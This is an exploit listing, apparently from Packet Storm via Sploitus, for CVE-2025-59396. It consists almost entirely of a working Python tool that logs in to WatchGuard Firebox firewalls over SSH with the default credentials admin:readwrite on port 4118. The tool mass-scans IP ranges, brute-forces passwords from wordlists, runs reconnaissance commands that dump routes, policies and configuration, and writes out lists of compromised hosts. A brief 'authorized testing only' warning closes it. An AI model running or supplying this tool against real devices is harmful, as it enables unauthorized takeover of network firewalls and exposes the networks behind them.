Share
## https://sploitus.com/exploit?id=PACKETSTORM:216939
=============================================================================================================================================
    | # Title     : WatchGuard Firebox Default SSH Credentials                                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.watchguard.com/wgrd-products/firewalls                                                                          |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/211136/ & 	CVE-2025-59396
    
    [+] Summary : A Python tool to detect CVE-2025-59396 vulnerability in WatchGuard Firebox devices that allows unauthorized access via default credentials (admin:readwrite) on port 4118.
    
    The issue affects WatchGuard Firebox firewall devices running Fireware OS.It is not tied to a specific software version, but to unsafe default settings:
    
    SSH is open on port 4118
    
    Default username: admin
    
    Default password: readwrite
    
    Any Firebox device left with these default credentials is considered vulnerable.
    
    WatchGuard Firebox is vulnerable if default SSH credentials (admin/readwrite) are not changed.
    
    [+]  POC :	
    
    pip install paramiko
    
     Test single host
    
    python3 watchguard_exploit.py 192.168.1.1
    
     Scan IP range
    
    python3 watchguard_exploit.py -r 192.168.1.1-192.168.1.254
    
     Test multiple hosts from file
    
    python3 watchguard_exploit.py -f targets.txt
    
     Brute force with wordlist
    
    python3 watchguard_exploit.py -u admin -w passwords.txt 192.168.1.1
    
     Quiet mode with output file
    
    python3 watchguard_exploit.py -f targets.txt -q -o vulnerable.txt
    
    ===========================
    
    #!/usr/bin/env python3
    """
    Exploit for CVE-2025-59396 - WatchGuard Firebox Default SSH Credentials
    Author: indoushka
    """
    
    import paramiko
    import sys
    import socket
    import argparse
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    def exploit_watchguard(target_ip, port=4118, username='admin', password='readwrite', verbose=True):
        """
        Test for CVE-2025-59396 vulnerability on a WatchGuard Firebox device
        
        Args:
            target_ip (str): Target IP address
            port (int): SSH port (default: 4118)
            username (str): Username to test (default: admin)
            password (str): Password to test (default: readwrite)
            verbose (bool): Print verbose output
        
        Returns:
            bool: True if vulnerable, False otherwise
            dict: Device info if vulnerable
        """
        try:
            if verbose:
                print(f"[*] Attempting to connect to {target_ip}:{port}...")
            
            # Create SSH client
            ssh_client = paramiko.SSHClient()
            ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            
            # Attempt connection with default credentials
            ssh_client.connect(
                hostname=target_ip,
                port=port,
                username=username,
                password=password,
                timeout=10,
                banner_timeout=15,
                look_for_keys=False,
                allow_agent=False
            )
            
            if verbose:
                print(f"[+] SUCCESS! Connected to {target_ip}:{port}")
                print(f"[+] Credentials: {username}:{password}")
                print(f"[+] Device is vulnerable to CVE-2025-59396")
            
            # Collect device information
            device_info = {
                'ip': target_ip,
                'vulnerable': True,
                'credentials': f"{username}:{password}",
                'version': None,
                'model': None,
                'hostname': None
            }
            
            # Get basic device info
            try:
                # Get device version
                stdin, stdout, stderr = ssh_client.exec_command('show version')
                version_output = stdout.read().decode('utf-8', errors='ignore')
                if verbose and version_output:
                    print(f"\n[+] Device Information:")
                    print("-" * 50)
                    print(version_output)
                    print("-" * 50)
                
                # Extract version from output
                device_info['version'] = version_output.split('\n')[0] if version_output else "Unknown"
                
                # Get hostname
                stdin, stdout, stderr = ssh_client.exec_command('show hostname')
                hostname_output = stdout.read().decode('utf-8', errors='ignore').strip()
                device_info['hostname'] = hostname_output if hostname_output else "Unknown"
                
                # Get system status
                stdin, stdout, stderr = ssh_client.exec_command('show system')
                system_output = stdout.read().decode('utf-8', errors='ignore')
                
            except Exception as e:
                if verbose:
                    print(f"[-] Could not retrieve device info: {e}")
            
            # Example reconnaissance commands (for authorized testing only)
            if verbose:
                print(f"\n[*] Running reconnaissance commands...")
                recon_commands = [
                    'show arp',
                    'show interface',
                    'show policy',
                    'show route',
                    'show configuration brief',
                ]
                
                for cmd in recon_commands:
                    try:
                        stdin, stdout, stderr = ssh_client.exec_command(cmd, timeout=3)
                        result = stdout.read().decode('utf-8', errors='ignore')
                        if result and len(result) > 10:  # Only show if we got meaningful output
                            print(f"\n[+] Command: {cmd}")
                            print("-" * 30)
                            # Show first few lines of output
                            lines = result.split('\n')[:5]
                            for line in lines:
                                if line.strip():
                                    print(f"    {line}")
                            if len(result.split('\n')) > 5:
                                print(f"    ... (output truncated)")
                            print("-" * 30)
                    except Exception as e:
                        if verbose:
                            print(f"[-] Command '{cmd}' failed: {e}")
            
            ssh_client.close()
            
            if verbose:
                print(f"\n[+] Exploit completed successfully!")
                print(f"[+] Device {target_ip} is fully compromised")
            
            return True, device_info
            
        except paramiko.AuthenticationException:
            if verbose:
                print(f"[-] Authentication failed for {target_ip}")
            return False, None
        except paramiko.SSHException as ssh_err:
            if verbose:
                print(f"[-] SSH error on {target_ip}: {ssh_err}")
            return False, None
        except socket.timeout:
            if verbose:
                print(f"[-] Connection timeout for {target_ip}")
            return False, None
        except socket.error as sock_err:
            if verbose:
                print(f"[-] Connection error to {target_ip}: {sock_err}")
            return False, None
        except Exception as e:
            if verbose:
                print(f"[-] Unexpected error with {target_ip}: {e}")
            return False, None
    
    def scan_network(network_range, ports=[4118], max_workers=10):
        """
        Scan a network range for vulnerable WatchGuard devices
        
        Args:
            network_range (list): List of IP addresses to scan
            ports (list): List of ports to check
            max_workers (int): Maximum number of concurrent threads
        
        Returns:
            list: List of vulnerable devices
        """
        print(f"[*] Starting network scan for {len(network_range)} hosts...")
        print(f"[*] Checking port(s): {ports}")
        
        vulnerable_devices = []
        
        def check_host(host):
            for port in ports:
                try:
                    # First check if port is open
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(2)
                    result = sock.connect_ex((host, port))
                    sock.close()
                    
                    if result == 0:
                        print(f"[+] Port {port} open on {host}")
                        # Test for vulnerability
                        vulnerable, info = exploit_watchguard(host, port, verbose=False)
                        if vulnerable:
                            print(f"[!] VULNERABLE: {host}:{port}")
                            vulnerable_devices.append(info)
                            return host
                except:
                    pass
            return None
        
        # Scan hosts concurrently
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = {executor.submit(check_host, host): host for host in network_range}
            
            for future in as_completed(futures):
                host = futures[future]
                try:
                    result = future.result()
                    if result:
                        print(f"[+] Found vulnerable device: {result}")
                except Exception as e:
                    print(f"[-] Error scanning {host}: {e}")
        
        return vulnerable_devices
    
    def generate_ip_range(start_ip, end_ip):
        """
        Generate a list of IP addresses from start to end
        
        Args:
            start_ip (str): Starting IP address
            end_ip (str): Ending IP address
        
        Returns:
            list: List of IP addresses
        """
        import ipaddress
        start = int(ipaddress.IPv4Address(start_ip))
        end = int(ipaddress.IPv4Address(end_ip))
        return [str(ipaddress.IPv4Address(ip)) for ip in range(start, end + 1)]
    
    def banner():
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘      CVE-2025-59396 - WatchGuard Firebox Exploit         โ•‘
    โ•‘        Default SSH Credentials: admin:readwrite          โ•‘
    โ•‘                     Port:4118                            โ•‘
    โ•‘                     indoushka                            โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """)
    
    def main():
        banner()
        
        parser = argparse.ArgumentParser(
            description='CVE-2025-59396 - WatchGuard Firebox Default SSH Credentials Exploit',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      %(prog)s 192.168.1.1                 # Test single host
      %(prog)s -f targets.txt              # Test multiple hosts from file
      %(prog)s -r 192.168.1.1-192.168.1.254  # Scan IP range
      %(prog)s -p 4118,22 192.168.1.1      # Test multiple ports
      %(prog)s -u admin -P pass.txt 192.168.1.1  # Brute force credentials
            """
        )
        
        parser.add_argument('target', nargs='?', help='Target IP address')
        parser.add_argument('-f', '--file', help='File containing list of targets')
        parser.add_argument('-r', '--range', help='IP range (e.g., 192.168.1.1-192.168.1.254)')
        parser.add_argument('-p', '--port', default='4118', help='Port(s) to test (comma-separated)')
        parser.add_argument('-u', '--username', default='admin', help='Username to test')
        parser.add_argument('-w', '--wordlist', help='Password wordlist file')
        parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads')
        parser.add_argument('-o', '--output', help='Output file for vulnerable hosts')
        parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')
        
        args = parser.parse_args()
        
        # Parse ports
        ports = [int(p.strip()) for p in args.port.split(',')]
        
        # Collect targets
        targets = []
        
        if args.file:
            try:
                with open(args.file, 'r') as f:
                    for line in f:
                        target = line.strip()
                        if target and not target.startswith('#'):
                            targets.append(target)
                print(f"[*] Loaded {len(targets)} targets from {args.file}")
            except FileNotFoundError:
                print(f"[-] File not found: {args.file}")
                return
        
        elif args.range:
            try:
                start_ip, end_ip = args.range.split('-')
                targets = generate_ip_range(start_ip, end_ip)
                print(f"[*] Generated {len(targets)} IPs in range {args.range}")
            except ValueError:
                print("[-] Invalid IP range format. Use: 192.168.1.1-192.168.1.254")
                return
        
        elif args.target:
            targets = [args.target]
        
        else:
            parser.print_help()
            return
        
        # Test targets
        vulnerable_hosts = []
        
        for target in targets:
            print(f"\n[*] Testing {target}...")
            
            if args.wordlist:
                # Password brute force mode
                try:
                    with open(args.wordlist, 'r') as f:
                        passwords = [line.strip() for line in f if line.strip()]
                    
                    print(f"[*] Testing {len(passwords)} passwords from {args.wordlist}")
                    
                    for password in passwords:
                        vulnerable, info = exploit_watchguard(
                            target, 
                            ports[0], 
                            args.username, 
                            password,
                            verbose=False
                        )
                        if vulnerable:
                            print(f"[!] CRACKED: {target}:{args.username}:{password}")
                            vulnerable_hosts.append(info)
                            break
                        else:
                            if not args.quiet:
                                print(f"[-] Failed: {password}")
                
                except FileNotFoundError:
                    print(f"[-] Wordlist not found: {args.wordlist}")
            
            else:
                # Default credentials test
                for port in ports:
                    vulnerable, info = exploit_watchguard(
                        target,
                        port,
                        args.username,
                        'readwrite',
                        verbose=not args.quiet
                    )
                    
                    if vulnerable:
                        vulnerable_hosts.append(info)
                        break
        
        # Print summary
        print(f"\n" + "="*60)
        print(f"[*] SCAN SUMMARY")
        print(f"="*60)
        print(f"[*] Targets tested: {len(targets)}")
        print(f"[*] Vulnerable hosts found: {len(vulnerable_hosts)}")
        
        if vulnerable_hosts:
            print(f"\n[!] VULNERABLE HOSTS:")
            for i, host in enumerate(vulnerable_hosts, 1):
                print(f"    {i}. {host['ip']}:{ports[0]} - {host.get('version', 'Unknown')}")
            
            # Save to output file
            if args.output:
                try:
                    with open(args.output, 'w') as f:
                        for host in vulnerable_hosts:
                            f.write(f"{host['ip']}:{ports[0]}\n")
                    print(f"[+] Vulnerable hosts saved to {args.output}")
                except Exception as e:
                    print(f"[-] Failed to save output: {e}")
        
        print(f"\n[!] WARNING: This tool is for authorized security testing only!")
        print(f"[!] Unauthorized use is illegal and unethical.")
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[-] Scan interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"[-] Fatal error: {e}")
            sys.exit(1)
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================